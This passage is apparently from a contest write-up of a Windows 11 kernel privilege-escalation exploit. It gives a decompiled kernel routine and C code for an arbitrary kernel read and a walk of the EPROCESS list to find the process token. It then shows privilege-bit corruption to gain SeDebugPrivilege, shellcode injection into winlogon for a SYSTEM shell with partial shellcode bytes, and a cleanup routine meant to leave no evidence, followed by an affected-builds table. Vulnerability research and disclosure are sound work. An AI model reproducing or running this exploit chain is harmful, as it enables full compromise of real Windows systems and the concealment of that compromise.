__int64 __fastcall CmQueryBuildVersionInformation(int *a1, int a2, _WORD *a3, ...)
{
  layerIdx = *inputBuffer;                  // attacker-controlled index
  if ( layerIdx >= CmpLayerVersionCount )  // bounds check (we incremented this!)
    return STATUS_INVALID_PARAMETER;

  pVersionStruct = CmpLayerVersions[layerIdx]; // @ 0x140a44ae4 - corrupted pointer!
                                                // Points into our usermode allocation
  *(DWORD*)(output + 1) = *pVersionStruct;     // copies DWORDs from fake struct
  *(DWORD*)(output + 2) = pVersionStruct[1];
  *(DWORD*)(output + 3) = pVersionStruct[2];
  *(DWORD*)(output + 4) = pVersionStruct[3];

  // These calls follow our crafted UNICODE_STRING.Buffer pointers:
  CmpQueryDowncastString(output+10,  128, pVersionStruct+4);  // reads from our target kernel addr!
  CmpQueryDowncastString(output+74,  128, pVersionStruct+16);
  CmpQueryDowncastString(output+138, 128, pVersionStruct+20);
  CmpQueryDowncastString(output+202, 128, pVersionStruct+24);
  ...
}
NTSTATUS __fastcall CmpQueryDowncastString(char *outputBuf, USHORT maxLen, UNICODE_STRING *srcString)
{
  if ( srcString->Buffer && srcString->Length ) { // our fake UNICODE_STRING
    dest.Buffer = outputBuf;                       // output buffer (usermode-visible)
    dest.MaximumLength = maxLen;
    RtlUnicodeStringToAnsiString(                  // converts UTF-16 → ANSI/UTF-8
        &dest, srcString, 0);                      // reads from srcString->Buffer (kernel addr!)
  }
}

The kernel reads bytes from whatever address we put in UNICODE_STRING.Buffer and converts them to ANSI, writing the result into the output struct that gets copied back to usermode. We decode the UTF-8 output to recover the original bytes.

Step 3: Token Privilege Escalation

With the arbitrary read, we walk the kernel's EPROCESS linked list to find our own process, extract the token pointer, then use the class 253 write primitive to escalate privileges.

First, read the PsInitialSystemProcess global (at ntos + RVA_PsInitialSystemProcess) to get the System process EPROCESS address. Then follow the ActiveProcessLinks doubly-linked list:

+0x1D0 PID: 4

+0x1D8 Flink:

+0x1D0 PID: 312

+0x1D8 Flink:

→ ... →

+0x1D0 PID: ours

+0x338 "exploit.exe"

+0x248 Token: 0xFFFF9A01`2C4F0643

// Read PsInitialSystemProcess → System EPROCESS address
kernel_read(ntos + RVA_PsInitialSystemProcess, 8, &system_eprocess);

// Follow ActiveProcessLinks.Flink chain
current = system_eprocess + 0x1D8;  // head of list
while (current != head) {
    eprocess = current - 0x1D8;       // CONTAINING_RECORD
    kernel_read(eprocess + 0x1D0, 8, &pid);
    if (pid == GetCurrentProcessId()) {
        // Found our EPROCESS!
        kernel_read(eprocess + 0x248, 8, &token_ref);
        token = token_ref & ~0xF;   // strip EX_FAST_REF refcount bits
        break;
    }
    kernel_read(current, 8, ¤t); // follow Flink
}

The _TOKEN structure contains privilege bitmasks. SeDebugPrivilege is bit 20 in the Privileges.Enabled field. We use the class 253 write primitive to increment bytes at token+0x42 until the bit is set:

_TOKEN structure (partial)

+0x00 TokenSource ...

+0x40 Privileges.Present which privileges exist (QWORD bitmask)

+0x48 Privileges.Enabled which privileges are ACTIVE (QWORD bitmask)

+0x50 Privileges.EnabledByDefault ...

Privileges.Enabled bitmask (QWORD at token+0x48)

Byte 0 (token+0x48)

76543210

Byte 1 (token+0x49)

15141312111098

Byte 2 (token+0x4A)

2322212019181716

↑ bit 20 = SeDebugPrivilege

The class 253 primitive writes at addr+0, addr+4, and addr+8 (3 DWORDs). By targeting token+0x42:

token+0x42 += process_count Overflows into Privileges.Enabled bytes

token+0x46 += total_threads Hits Enabled bytes 6-9

token+0x4A += total_handles Further privileges

After enough increments, the bitmask accumulates enough value that bit 20 (SeDebugPrivilege) becomes set. We verify with OpenProcess(PROCESS_ALL_ACCESS, winlogon_pid) — if it succeeds, we have debug privilege.

Step 4: Code Injection into SYSTEM Process

With SeDebugPrivilege enabled, we can open any process regardless of its security descriptor. We target winlogon.exe which runs as NT AUTHORITY\SYSTEM:

1

OpenProcess(PROCESS_ALL_ACCESS, winlogon_pid)

SeDebugPrivilege bypasses DACL → full handle to SYSTEM process

2

VirtualAllocEx(hProcess, PAGE_EXECUTE_READWRITE)

Allocate RWX memory inside winlogon's address space

3

WriteProcessMemory(hProcess, shellcode)

Copy cmd.exe shellcode (272 bytes) into remote allocation

4

CreateRemoteThread(hProcess, shellcode_addr)

Execute shellcode in winlogon's context → inherits SYSTEM token

NT AUTHORITY\SYSTEM cmd.exe

Full system compromise achieved. Game over.

fc 48 83 e4 f0 e8 c0 00 00 00 41 51 41 50 52 51 56 48 31 d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48 0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c 20 41 c1 c9 0d 41 01 c1 e2 ed ... 63 6d 64 2e 65 78 65 00 ← "cmd.exe\0"

// Note: Kernel shellcode execution is also possible

With arbitrary read and arbitrary increment, achieving kernel-mode shellcode execution should be fairly straightforward — for example, by corrupting function pointers or dispatch tables to redirect kernel control flow. However, for the Pwn2Own contest only a sandbox escape was required, so this exploit takes the simpler path: escalate token privileges and inject into a SYSTEM process from usermode.

Cleanup — Restoring CmpLayerVersionCount

After exploitation, CmpLayerVersionCount has been corrupted (incremented well past its original value of 4). Leaving it corrupted could cause instability — any legitimate class 222 query might access garbage CmpLayerVersions entries. The exploit must restore it to 4 before exiting.

The trick: we don't need to write the value 4 directly. We just keep incrementing the LSB until it overflows past 0xFF and wraps back around to 4.

CmpLayerVersionCount is a DWORD, but its legitimate value (4) fits in a single byte. The write primitive targets an offset (Count - 11) such that the third DWORD write (addr+8) only affects the least significant byte of the count. The higher bytes of the DWORD remain zero throughout.

CmpLayerVersionCount LSB over time

0x0B

After Phase 1
(11 — unlocked idx 9)

0x??

After exploit
(further corrupted)

0xFF

Last value
before wrap

Why only the LSB is affected:

write_at(ntos + CmpLayerVersionCount - 11)

target+0 bytes [Count-11 .. Count-8] += process_count unrelated memory

target+4 bytes [Count-7 .. Count-4] += thread_count unrelated memory

target+8 bytes [Count-3 .. Count+0] += handle_count MSB of this DWORD = LSB of Count!

Memory layout (little-endian)

Count-3 byte 0
(LSB of written DWORD)

Count-2 byte 1

Count-1 byte 2

Count+0 byte 3
(MSB of written DWORD)
= LSB of CmpLayerVersionCount

Count+1 0x00
(untouched)

Count+2 0x00
(untouched)

Count+3 0x00
(untouched)

DWORD written by addr+8 CmpLayerVersionCount (DWORD)

Why Not Increment the DWORD Directly?

The naive approach would be to target CmpLayerVersionCount directly (offset 0) and keep incrementing the full DWORD until it wraps around 0xFFFFFFFF → 0x00000000 → ... → 0x00000004. This has two fatal problems:

Value range to wrap: 0x00000004 → 0xFFFFFFFF → 0x00000004

Total to add: ~4,294,967,296 (2³²)

Per call adds: ~80–100 (process count)

Calls needed: ~43,000,000 syscalls

Time: HOURS (completely impractical)

Worse: the increment is non-deterministic (process count varies). You might never hit exactly 4 — you could land on 3, then jump to 5 on the next call. The DWORD wraps in huge jumps of ~80-100, so hitting a precise value is not guaranteed.

VS

LSB range to wrap: 0x0B → 0xFF → 0x04

Total to add to LSB: ~249 (just one byte!)

Per call, LSB gets: carry from lower bytes (~1–3 per call)

Calls needed: ~80–200 syscalls

Time: < 1 second

Key advantage: the LSB only increments by small carry amounts (1–3 per call), so we have fine-grained control. We can reliably hit exactly 4 because the steps are small enough to not skip over it.

By targeting Count - 11, the write at addr+8 adds handle_count (~3000–5000) to the DWORD at [Count-3]. This primarily changes bytes 0–2 of that DWORD. Carries propagate into byte 3 (the Count LSB), incrementing it by only 1–3 per syscall. Since bytes Count+1 through Count+3 are never written, they stay 0x00 — so once the LSB wraps and reaches 0x04, the full DWORD reads 0x00000004: the original value, fully restored.

// After exploitation: CmpLayerVersionCount LSB is corrupted (e.g. 0x0B)
// Keep incrementing - LSB carries up by ~1-3 per call
// Eventually wraps: ... → 0xFE → 0xFF → 0x00 → 0x01 → ... → 0x04
while (get_version_count() != 4)
{
    write_at(ntos_base + RVA_CmpLayerVersionCount - 11);
}
// CmpLayerVersionCount == 0x00000004 - fully restored
// System stable, no evidence of corruption

// Why this works reliably

We only have an increment primitive, not an arbitrary write. We can't set the value to 4 directly. But by targeting the offset so that only the LSB is affected via carry propagation, we get small increments (1–3) that give us fine-grained control. We check after each call and stop the moment it hits 4. No overshoot risk — unlike the direct DWORD approach where jumps of ~80 could skip the target value entirely.

Affected Versions

OS Windows 11
Versions 24H2 through 25H2
Builds Confirmed 26200.8039, 26200.8117, 26200.8246, 26200.8328
Component ntoskrnl.exe — ExpGetProcessInformation
Attack Vector Local (any user, any integrity, any sandbox)
Privileges Required None
Reliability 100% deterministic

═══════════════════════════════════════════════════════════════